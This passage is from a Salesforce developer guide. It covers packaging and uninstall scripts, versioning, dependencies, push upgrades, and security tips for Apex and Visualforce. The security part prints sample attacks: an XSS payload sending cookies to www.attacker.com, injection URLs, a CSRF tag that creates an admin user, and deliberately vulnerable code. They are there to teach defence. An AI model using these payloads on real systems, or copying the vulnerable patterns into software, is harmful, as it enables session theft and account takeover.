This sample shows how to test an uninstall script implemented in the UninstallClass Apex class.
@isTest
static void testUninstallScript() {
Id UninstallerId = UserInfo.getUserId();
List<FeedItem> feedPostsBefore =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
Test.testUninstall(new UninstallClass());
List<FeedItem> feedPostsAfter =
[SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
System.assertEquals(feedPostsBefore.size() + 1, feedPostsAfter.size(),
'Post to uninstaller failed.');
}

1964

Create

Preparing Your Apps for Distribution

Specifying an Uninstall Script


Once you have created and tested the uninstall script and included it as a member of your package, you can specify it in the
Uninstall Script lookup field on the Package Detail page. In subsequent patch releases, you can change the contents of the
script but not the Apex class.
The class selection is also available via the Metadata API as Package.uninstallClass. This is represented in package.xml
as an <uninstallClass>foo</uninstallClass> element.

Preparing Your Apps for Distribution


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages:

Create AppExchange Packages

To upload packages:

Upload AppExchange Packages

When you are ready to distribute your package, determine if you want to release a managed or unmanaged package. For more
information about the different types of releases, see Developing Packages for Distribution.
1. Create a package:
a.
b.
c.
d.
e.

Click Your Name > Setup > Create > Packages.


Click New.
Enter a name for your package. This does not have to be the same name that appears on AppExchange.
From the drop-down menu, select the default language of all component labels in the package.
Optionally, choose a custom link from the Configure Custom Link field to display configuration information to
installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your
home page layouts; see the Configure Option on page 1979. The custom link displays as a Configure link within Salesforce
on the Force.com AppExchange Downloads page and app detail page of the installer's organization.
f. Optionally, in the Notify on Apex Error field, enter the username of the person who should receive an email
notification if an exception occurs in Apex that is not caught by the Apex code. If you do not specify a username, all
uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for managed
packages. For more information, see Handling Apex Exceptions in Managed Packages on page 2069.
Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

g. Optionally, enter a description that describes the package. You will have a chance to change this description before you
upload it to AppExchange.

1965

Create

Preparing Your Apps for Distribution

h. Optionally, specify a post install script. This is an Apex script that runs in the subscriber organization after the package
is installed or upgraded. For more information, see Running Apex on Package Install/Upgrade.
i. Optionally, specify an uninstall script. This is an Apex script that runs in the subscriber organization after the package
is uninstalled. For more information, see Running Apex on Package Uninstall.
j. Click Save.
2. Salesforce sets your package API access privileges to Unrestricted. You can change this setting to further restrict API
access of Salesforce components in the package. For more information, see Managing API and Dynamic Apex Access in
Packages on page 1768.
3. Add the necessary components for your app.
a. Click Add.
b. From the drop-down list, choose the type of component you want to add to your package.

At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
If available, click the Next Page (or Previous Page) link to go to the next or previous set of components.
If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

c. Select the components you want to add.


Note: Some components cannot be added to
see Developing Packages for Distribution.

Managed - Released packages. For a list of these components,

S-controls cannot be added to packages with restricted API access.


d. Click Add To Package.
Repeat these steps until you have added all the components you want in your package.
Note:

Some related components are automatically included in the package even though they may not display in the
Package Components list. For example, when you add a custom object to a package, its custom fields, page
layouts, and relationships with standard objects are automatically included. For a complete list of components
Salesforce automatically includes, see Developing Packages for Distribution.
When you package a joined report, each block is included in the package. Although the blocks appear in the
package as reports, when you click on a block, you see an error message that you have insufficient privileges
to view the report. This is expected behavior. Instead, click on the name of the joined report to run it.

4. Optionally, click View Dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1970. Click Done
to return to the Package detail page.
Note: You cannot upload packages that contain any of the following:

References to person accounts, such as an s-control or custom field referencing person accounts.
Workflow rules or workflow actions (such as field updates or outbound messages) that reference record
types.
Reports that reference record types on standard objects.

1966

Create

Preparing Your Apps for Distribution

5. Click Upload.
Note: If you are creating a managed package to publish on AppExchange, you must certify your application before
you package it. For more information, seeSecurity and Trust on AppExchange.
On the Upload Package page, do the following:
a. Enter a Version Name. As a best practice, it's useful to have a short description and the date.
b. Enter a Version Number for the upload, such as 1.0. The format is majorNumber.minorNumber.
Note:
If you are uploading a new patch version, you can't change the patch number.
The version number represents a release of a package. This field is required for managed and unmanaged packages.
For a managed package, the version number corresponds to a Managed - Released upload. All beta uploads use the
same version number until you upload a Managed - Released package version with a new version number. For example,
the following is a sequence of version numbers for a series of uploads.
Upload
Sequence

Type

Version Notes
Number

First upload

Managed - Beta

1.0

The first Managed - Beta upload.

Second
upload

Managed - Released

1.0

A Managed - Released upload. Note that the version number


does not change.

Third upload Managed - Released

1.1

Note the change of minor release number for this Managed


- Released upload.

Fourth upload Managed - Beta

2.0

The first Managed - Beta upload for version number 2.0.


Note the major version number update.

Fifth upload

2.0

A Managed - Released upload. Note that the version number


does not change.

Managed - Released

c. For managed packages, select a Release Type:

Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce components
are locked. For a list of locked attributes, see Developing Packages for Distribution.
Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for
testing purposes. You'll still be able to change the components and upload additional beta versions. For information
on beta versions, see Developing Packages for Distribution.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't
be pushed to customer organizations.

d. Change the Description, if necessary.


e. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Don't
enter a password if you want to make the package available to anyone on AppExchange and share your package publicly.

1967

Create

Trialforce Branding

f. Salesforce automatically selects the requirements it finds. In addition, select any other required components from the
Package Requirements and Object Requirements sections to notify installers of any requirements for this
package.
g. Click Upload.
6. Once your upload is complete you can do any of the following.

Click Change Password link to change the password option.


Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating.
Note: You cannot deprecate the most recent version of a managed package.

When you deprecate a package, remember to remove it from AppExchange as well. See Removing Apps from
AppExchange in the AppExchange online help.

Click Undeprecate to make a deprecated version available for installation again.

You will receive an email that includes an installation link when your package has been uploaded successfully.
Note: If you uploaded from your Salesforce production organization, notify installers who want to install it in a sandbox
organization to replace the login.salesforce.com portion of the installation link with test.salesforce.com.

See Also:
Overview of Packages
Managing Packages
Understanding Dependencies
Managing Versions
Creating and Uploading Patches
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages

Trialforce Branding
Available in: Developer Edition

User Permissions Needed


To manage Trialforce branding:

Customize Application

App developers using Trialforce to create new trials of their product can optionally set up a branded login site and system
emails. By branding these areas with your company's look and feel, users of your application will be immersed in your brand
from sign-up to login.
A branded login page enables you to specify your login domain and login site.

1968

Create

Managing Versions

Login domains end with .cloudforce.com, so that if your company name is mycompany, then your login domain
will be mycompany.cloudforce.com.
Your custom login site includes your text and company logo, and mobile-friendly versions of your login site as well.

Branded emails allow you to specify fields in system-generated emails so that your company name, address, and other pertinent
details are used in email correspondence. You can create multiple branded email sets for different campaigns, customer bases,
etc.
Note: To configure branding, you must be logged into a Trialforce Management Organization (TMO). To get your
TMO, log a case in the Salesforce Partner Portal.

Managing Versions
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages:

Upload AppExchange Packages

After you upload a package to Force.com AppExchange, you can still manage it from Salesforce. To manage your versions:
1. Click Your Name > Setup > Create > Packages.
2. Select the package that contains the app or components you uploaded.
3. Select the version number listed in the Versions tab.

Click Change Password link to change the password option.


Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating.
Note: You cannot deprecate the most recent version of a managed package.

When you deprecate a package, remember to remove it from AppExchange as well. See Removing Apps from
AppExchange in the AppExchange online help.

Click Undeprecate to make a deprecated version available for installation again.

1969

Create

Understanding Dependencies

Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Creating and Uploading Patches
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Security Tips for Apex and Visualforce Development

Understanding Dependencies
AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer
Editions
Apex available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages:

Upload AppExchange Packages

To view Apex dependencies:

Author Apex

To view Visualforce dependencies:

Developer Mode

Package dependencies are created when one component references another component, permission, or preference that is
required for the component to be valid. Force.com tracks certain dependencies, including:

Organizational dependencies, such as whether multicurrency or campaigns are enabled


Component-specific dependencies, such as whether particular record types or divisions exist
References to both standard and custom objects or fields

Packages, Apex classes, Apex triggers, Visualforce components, and Visualforce pages can have dependencies on components
within an organization. These dependencies are recorded on the Show Dependencies page.
Dependencies are important for packaging because any dependency in a component of a package is considered a dependency
of the package as a whole.
Note: An installers organization must meet all dependency requirements listed on the Show Dependencies page or
else the installation will fail. For example, the installer's organization must have divisions enabled to install a package
that references divisions.
Dependencies are important for Apex classes or triggers because any component on which a class or trigger depends must be
included with the class or trigger when the code is deployed or packaged.

1970

Create

Understanding Dependencies

In addition to dependencies, the operational scope is also displayed on the Show Dependencies page. The operational scope is
a table that lists any data manipulation language (DML) operations (such as insert or merge) that Apex executes on a
specified object. The operational scope can be used when installing an application to determine the full extent of the applications
database operations.
To view the dependencies and operational scope for a package, Apex class, Apex trigger, or Visualforce page:
1. Navigate to the appropriate component:

For packages, click Your Name > Setup > Create > Packages.
For Apex classes, click Your Name > Setup > Develop > Apex Classes.
For Apex triggers on standard objects, click Your Name > Setup > Customize, click the name of the object, and then
click Triggers.
For Apex triggers on custom objects, click Your Name > Setup > Create, click the name of the object, and then click
Triggers.
For Visualforce pages, click Your Name > Setup > Develop > Pages.

2. Select the name of the component.


3. Click View Dependencies for a package, or Show Dependencies for all other components, to see a list of objects that
depend upon the selected component.
If a list of dependent objects displays, click Fields to access the field-level detail of the operational scope. The field-level detail
includes information, such as whether a field is updated by Apex. For more information, see Field Operational Scope on page
1972.
Packages, Apex code, and Visualforce pages can be dependent on many components, including but not limited to:

Custom field definitions


Validation formulas
Reports
Record types
Apex
Visualforce pages and components

For example, if a Visualforce page includes a reference to a multicurrency field, such as {!contract.ISO_code}, that
Visualforce page has a dependency on multicurrency. If a package contains this Visualforce page, it also has a dependency on
multicurrency. Any organization that wants to install this package must have multicurrency enabled.

See Also:
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Field Operational Scope

1971

Create

Scheduling Push Upgrades

Field Operational Scope


AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer
Editions
Apex available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To upload packages:

Upload AppExchange Packages

To view Apex dependencies:

Author Apex

To view Visualforce dependencies:

Developer Mode

The fields displayed on the Fields Operational Scope page are referenced through the operational scope:

If the Is Updated checkbox is selected, the field is updated using a database manipulation language (DML) operation,
such as insert or update. For more information, see Understanding Dependencies on page 1970.
If the Is Updated checkbox is not selected, the field is only referenced within the operational scope. For example, it may
be included as part of a select statement.

If the External ID checkbox is selected, the field acts as an External ID. An external ID field contains unique record
identifiers from a system outside of Salesforce. You can use the sidebar search to find external ID values, and you can use
the field in the Force.com API. When using the import wizards for custom objects and solutions, you can use this field to
prevent duplicates.

See Also:
Understanding Dependencies

Scheduling Push Upgrades


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development
organization:

Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

After you have created a patch version of your package, you can automatically deploy it to customers using a push upgrade.

1972

Create

Scheduling Push Upgrades

Tip: Salesforce.com strongly recommends the following sequence for pushing package upgrades:
1. Push the patch to your own organizations so that you can run tests and fix any bugs before upgrading subscribers.
2. When youre ready, push to your customers organizations. Try sandbox organizations first, if possible.
3. If the patch applies to your most recent release, deprecate the previous version of your package in your main
development organization. Replace the version on AppExchange if necessary, and update your Trialforce.
4. Run the push upgrade once again to ensure any remaining subscribers are upgraded.
5. After your patch is successfully distributed to subscriber organizations, reintegrate those changes into your main
development organization.
For more information about combining patches into the main development organization, see Working with Patch
Versions in the Force.com Quick Reference for Developing Packages.
Read the Best Practices for Push Upgrades and Patch Versions on page 1978 for more information.
To schedule a push upgrade:
1. Log into your main development organization.
2. Under Your Name > Setup > Create > Packages, click the name of your managed package with a patch you want to push.
On the package detail page, click the Versions tab, and then click Push Upgrades.
3. Click Schedule Push Upgrades.
4. Select a patch version to push from the Patch Version drop-down list. Only packages that have been uploaded from a
patch development organization are available in this list.
Note: Beta versions arent eligible for push.

5. Enter a Scheduled Start Date, indicating when a push upgrade should begin.
6. Optionally, check Ignore Apex test failures during upgrade.
Caution:
This checkbox should be selected in rare cases when a push upgrade is failing due to an Apex test failure. Only
select this option if both you and your subscriber have reviewed the package you want to upgrade and both agree
that upgrading to the new version is safe. For more information on why your install might have failed, see Resolving
Apex Test Failures on page 1992.
7. In the Select Target Organizations section, select the organizations to receive your push upgrade. If an organization already
received a push upgrade for the selected package version, it wont appear in this list. You can select organizations by:

Entering a term that filters based on an organizations name or ID. Names can match by partial string, but IDs must
match exactly.
Choosing between production and sandbox organizations from the Organizations drop-down list.
Choosing organizations that have already installed a particular version.
Clicking on individual organizations, or the Select All and Deselect All checkboxes.

This section lists the following information about the organization (in alphabetical order):
Field

Description

Current Version

The current package version an organization has installed.

1973

Create

Scheduling Push Upgrades

Field

Description

Organization ID

The ID that uniquely identifies the organization to


salesforce.com.

Organization Name

The name of the organization. Clicking this name shows


the upgrade history for the organization.

Primary Contact

The name of the contact who installed the package.

8. Click Schedule.
While a push upgrade is in progress, you can click Abort to stop it.
On the previous push upgrades page, the Push Upgrade History table lists recently scheduled push upgrades for the package.

See Also:
Viewing Push Upgrade Details
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages

Viewing Push Upgrade History


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development
organization:

Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

To view the details of a push upgrade sent by your organization, click Your Name > Setup > Create > Packages, click the
name of the package you want to view, then click Push Upgrades. To schedule a new push upgrade, click Schedule Push
Upgrade.
The Push Upgrade History page lists the status of all your pending and previous push upgrades. To filter your push upgrade
history:
1. Select a version number from the drop-down list. Not selecting any version is equivalent to selecting all of them.
2. Select one or more statuses from the Status list. Not selecting any status is equivalent to selecting all of them.
3. Click Apply to filter the list. Click Clear to remove all the filters.
The history displays the following information (in alphabetical order):

1974

Create

Scheduling Push Upgrades

Column

Description

Action

While a push upgrade is in progress, you can click Abort to


stop it.

Start Date

The scheduled start date and time of the push upgrade.

Status

The status of the push upgrade, whether scheduled, in


progress, completed, aborted, or completed with failures.

Target

The name of the organization the push upgrade went to. For
multiple organizations, this field only lists the first organization
in the queue, followed by the number of the total selected
organizations. Clicking on this link provides you with more
information about the target push upgrade and each individual
organization.

Version

The package version number that was pushed.

See Also:
Viewing Push Upgrade Details
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages

Viewing Push Upgrade Details


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development
organization:

Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

For information about a specific push upgrade that your organization sent, click Your Name > Setup > Create > Packages,
click the name of the package you want to view, then click Push Upgrades. Clicking on the name of a Target takes you to
the Push Upgrade Details page, which has information both for the push job and each organization that it was pushed to.
The Job Details section has the following information about the overall push upgrade (in alphabetical order):
Field

Description

End Date

The date and time the push upgrade finished.

1975

Create

Scheduling Push Upgrades

Field

Description

Ignore Apex Test Failures

Whether Apex test failures that may cause the installed


application not to function properly were ignored.

Scheduled By

The name of the user who initiated the push upgrade.

Start Date

The scheduled start date and time of the push upgrade.

Status

The status of the push upgrade, whether scheduled, in


progress, completed, aborted, or completed with failures.

Version

The package version number that was pushed.

In the Organizations section, you can get a list of all the organizations that received a push upgrade. You can filter organizations
by using the search box and entering a term that filters based on an organizations name or ID. Names can match by partial
string, but IDs must match exactly. From the drop-down list, you can also filter based on the status of the push upgrade.
The list contains the following information specific to each organization (in alphabetical order):
Field

Description

Duration

The amount of time the push upgrade took.

Failure Type

Lists the type of failure that occurred (if any). If the push
upgrade did fail, a possible explanation is provided in the
collapsible section. If the push upgrade was unsuccessful, click
Retry to try it again.

Organization ID

The ID that uniquely identifies the organization to


salesforce.com.

Organization Name

The name of the organization. Clicking this name shows the


upgrade history for the organization.

Start

The scheduled start date and time of the push upgrade.

Status

The status of the push upgrade, whether scheduled, in


progress, completed, aborted, or completed with failures.

See Also:
Viewing Push Upgrade History
Scheduling Push Upgrades
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages

1976

Create

Scheduling Push Upgrades

Viewing an Organization's Upgrade History


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development
organization:

Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

For more information about a specific organization that received a push upgrade, click Your Name > Setup > Create >
Packages, click the name of the package you want to view, then click on the name of a Target. Clicking on an organization
in the target list provides the following details (in alphabetical order):
Field

Description

Current Version

The current package version an organization has installed.

Organization ID

The ID that uniquely identifies the organization to


salesforce.com.

Organization Name

The name of the organization.

Primary Contact

The name of the contact who installed the package.

Primary Contact Email

The email address of the package publisher.

Status

The status of the push upgrade, whether scheduled, in


progress, completed, aborted, or completed with failures.

The Push Upgrade History lists the following information (in alphabetical order):
Field

Description

Action

Clicking View Details returns you to the job details for that
upgrade.

Start Date

The scheduled start date and time of the push upgrade.

Status

The status of the push upgrade, whether scheduled, in


progress, completed, aborted, or completed with failures.

1977

Create

Scheduling Push Upgrades

Field

Description

Version

The package version number that was pushed.

See Also:
Viewing Push Upgrade Details
Viewing Push Upgrade History
Creating and Uploading Patches
Scheduling Push Upgrades
Preparing Your Apps for Distribution
Managing Versions
Publishing Upgrades to Managed Packages

Best Practices for Push Upgrades and Patch Versions


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development
organization:

Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

Consider the following best practices when scheduling a push:

Pushes can be scheduled to run immediately, or at a future date. It's recommend that you schedule push upgrades at off-peak
hours to minimize potential subscriber impact.
Only ignore Apex tests after confirming with your customer that it's safe to upgrade.
Visualforce pages that are refreshed while a push upgrade is in process may lose their view state if the page or controller is
changed.
To push new translations for existing components, add the languages for those translations to the package when you upload
it as a major release. Then, add the individual translations in patch releases.

Consider the following best practices when creating a patch version:

Visible changes to a package shouldn't be performed in a patch. Other than a change in the package version number,
subscribers aren't notified of push upgrades.
Changes to validation rules, formula fields, and errors thrown from Apex triggers are highly discouraged, as they may
negatively impact subscribers integrations.

1978

Create

Developing App Documentation

Developing App Documentation


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit custom tabs:

Customize Application

Salesforce recommends publishing your app on AppExchange with the following types of documentation:
Configure Option
You can include a Configure option for installers. This option can link to installation and configuration details, such
as:

Provisioning the external service of a composite app


Custom app settings

The Configure option is included in your package as a custom link. You can create a custom link for your home page
layouts and add it to your package.
1. Create a custom link to a URL that contains configuration information or a Visualforce page that implements
configuration. When you create your custom link, set the display properties to Open in separate popup window
so that the user returns to the same Salesforce page when done.
2. When you create the package, choose this custom link in the Configure Custom Link field of your package
detail.
Data Sheet
Give installers the fundamental information they need to know about your app before they install.
Customization and Enhancement Guide
Let installers know what they must customize after installation as part of their implementation.
Custom Help
You can provide custom help for your custom object records and custom fields.
Tip: To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style
Guide for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your
pages.

See Also:
Overview of Packages
Assigning Force.com AppExchange Publishers

1979

Create

Assigning Force.com AppExchange Publishers

Assigning Force.com AppExchange Publishers


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign permissions:

Customize Application

Users that publish packages on Force.com AppExchange must have the following user permissions:
Create Force.com AppExchange packages
Allows a user to create packages and add components to it.
Upload Force.com AppExchange Packages
Allows a user to upload and register or publish packages to Force.com AppExchange.
The System Administrator profile automatically has both these permissions. Determine which of your users should have these
permissions and add them to the appropriate user profiles or permission sets.

See Also:
Overview of Packages
Developing App Documentation

Security Tips for Apex and Visualforce Development


Available in: , Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Visualforce is not available in Database.com.

Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and
business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However,
as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can
still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the
coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities,
while others are unique to Apex.

1980

Create

Security Tips for Apex and Visualforce Development

To certify an application for AppExchange, it is important that developers learn and understand the security flaws described
here. For additional information, see the Force.com Security Resources page on Developer Force at
http://wiki.developerforce.com/page/Security.

See Also:
Managing Versions

Cross-Site Scripting (XSS)


Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided
to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The
user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the
attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages
without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from
one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style
websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a
Visualforce page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following
value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if
they were the victim.
The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input,
but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety
of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks,
such as stealing data or session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:

http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cgisecurity.com/articles/xss-faq.shtml
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
http://www.google.com/search?q=cross-site+scripting

Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented
filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods,
the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or
accidentally bypass the default controls. The following sections show where protection does and does not exist.

1981

Create

Security Tips for Apex and Visualforce Development

Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following
code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but
the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form.
For example, the < character is converted to &lt; so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Disabling Escape on Visualforce Tags


By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting
the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Programming Items Not Protected from XSS


The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because
these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense
to include anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is
vulnerable to XSS if used in JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script>

<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these
cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value
provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as
in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Formula Tags
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to
include a user's session ID in a link, they could create the link using the following syntax:
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

1982

Create

Security Tips for Apex and Visualforce Development

Which renders output similar to the following:


<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Formula expressions can be function calls or include information about platform objects, a user's environment, system
environment, and the request environment. An important feature of these expressions is that data is not escaped during
rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript
or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system
data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output
during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>

Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the
request:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

results in the output:


<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>

The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement
of the {!$Request.*} expression in the example, the above attack can be prevented by using the following nested
SUBSTITUTE() calls.
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>

Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped
counterparts, can vary. For instance, this statement:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped
", since it is probably going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

results in:
<script>var ret = "foo";alert('xss');//";</script>

1983

Create

Security Tips for Apex and Visualforce Development

Additionally, the ret variable might need additional client-side escaping later in the page if it is used in a way which can
cause included HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization,
it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with
higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine
the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which
has been imported from external sources and might not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)


Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way
to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be
any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the
attacker's page is an HTML tag that looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your
Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds
because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative
by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:

http://www.owasp.org/index.php/Cross-Site_Request_Forgery
http://www.cgisecurity.com/articles/csrf-faq.shtml
http://shiflett.org/articles/cross-site-request-forgeries

Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page
includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of
this string of characters and does not execute the command unless the value matches the expected value. This feature protects
you when using all of the standard controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a
custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider
the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The
id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might
have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter.

1984

Create

Security Tips for Apex and Visualforce Development

There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action
based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an
intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions
include shortening the idle session timeout for the organization and educating users to log out of their active session and not
use their browser to visit other sites while authenticated.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own
database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks
are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection.
In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If
the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application
into performing unintended commands.
For more information on SQL Injection attacks see:

http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection
http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.google.com/search?q=sql+injection
